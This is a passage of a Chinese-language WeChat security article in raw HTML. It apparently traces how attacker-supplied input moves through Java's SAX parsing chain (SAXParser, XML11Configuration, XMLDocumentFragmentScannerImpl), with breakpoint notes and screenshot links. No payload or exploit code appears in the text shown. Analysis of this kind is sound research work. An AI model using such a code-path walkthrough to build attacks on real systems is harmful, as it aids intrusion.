src="https://wechat2rss.xlab.app/img-proxy/?k=d2539105&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmQv8nZfLcibbk5BibyAHx4q28kxCnRIbGhic8nufx1qSwUn1SYqXRib2iaQA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">这里可以看到调用handle下parse处理我们输入的input数据，下断点直接步进至断点处</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">两次步进到</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.23056768558951965" data-w="1145" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dbee58f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmuMcBqM8kD5FibWZusiccibFWNW2rfWFz9LTCvcQcE588hv6EdVKxxHp1w%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">发现再次调用流量handle的parse方法处理我们的传入数据</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">步进至</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.2886884108258154" data-w="1441" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ee9a3cca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm3xO4WcUWPJ7v77wAX62LrelUhL6WqNic4XkhT47icaAc2ltC1lSroNYw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">前面大部分都在对handle进行预处理，下断点，继续跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.356953642384106" data-w="1510" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2f42f1b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmCldbxZe1t73svgABq9B3PfXgORna8OyQibHF0Fmzymenlib6tEUcBd5w%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进到SAXParser主类，判断handle是否为空，这里不为空再次调用parse方法，下断点跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.3527004909983633" data-w="1222" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=732ca767&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmq1ll98s5Xib8KibgmVJs7RqFU2kcGWtSzIy3gSOIfbvqNfALwA5RwFibg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">调用xmlparse的parse方法，判断不为空然后调用父类的parse方法，下断点跟进<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.37077625570776257" data-w="1095" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ea8e71f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmDRgSy6iadZIxlsUzGEaGia2k2c30qXWDWvkb7ic5ic5ZktAwr4XPFHtrrA%2F640%3Fwx_fmt%3Dpng"/><br/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">这里又调用了xmlReader父类AbstractSAXParser的parser方法，下断点再次跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.3220108695652174" data-w="1472" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9834c629&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmGGQ0GV8AlZS6uBv1yicZ2D9ibfpG8k0N7A7uT7Bianibf3pRnCE4G8nLUA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">再次回调xmlparse的parse方法，传入输入的数据，下断点跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.38149847094801226" data-w="1308" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5bff96d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm2kdkjQebsfmcyhrGaJre6GpibXxibxqbRibDqBx9XSrzfkzFBtNZ9ED0Q%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">调用XML11Configuration的parse方法，下断点跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.3588798820928519" data-w="1357" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=20a074f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmymFBx0M2959w8ufAojRstiaicOoyicPotuj7K2suxXdzHicNgdTzpetTKg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">进入正题，调用xml读取方法，下断点跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.24188034188034188" data-w="1170" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4ef955ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmLQrd9oxRotkx33zlGBfHOse3qxIpGPflMVnO2kCFkibahvJ18ibWZXxA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.19041188386225524" data-w="1481" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c3da57d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmzDcHFyhpTdr33oxdrh4OBbFYjib0HjKSaUuaq080GvBjjaqXupzDibRQ%2F640%3Fwx_fmt%3Dpng"/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.18076109936575052" data-w="946" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c94edf0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmthDnfFWTHhnoyq6dv4hqnGk9rrC99xfiajAGPrzhibYFX0IMGkANHcPw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">关键点就在这里，XMLDocumentFragmentScannerImpl类</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进next</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.1834372217275156" data-w="1123" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f325f94f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmtdV6KhOQpzQA67vXiaBic0j5Uz69KYkgZv6so0PGJNI0B8GNWSoL1Hiaw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">上张图为循环点!</span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.1503267973856209" data-w="918" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=14b7b556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmrcCNYBmItQ4yibiaabjh7ZJJ21vGtueic6Vqmh0EhQIyNUZvUvRp6gBpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进next</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.11795891318754141" data-w="1509" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1f65ca6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmz55r88G8ibiaQ1Ciac6L9x892e8BNgbQygvj2eXM7ibSy6M8cfibUuotqIg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">后返回XMLDocumentFragmentScannerImpl方法</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.18244170096021947" data-w="1458" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0fe36a06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmy1vmGn6RRARHSiaoWDia1mGlS4x7Y7oxwAm9OPS55zu6UAiaPX1TBbeYg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">注：这里是第二次循环读取，上一次循环读取数据为版本数据，循环语段见上面的图</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在scanEndElement处下断点跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.2268041237113402" data-w="1455" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b1cd71d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm9mMhC7zwE5N7XibQQlx5Wz1CibfaMtqWb6mibeuWZ6dgJSSS38aTibgMpw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: 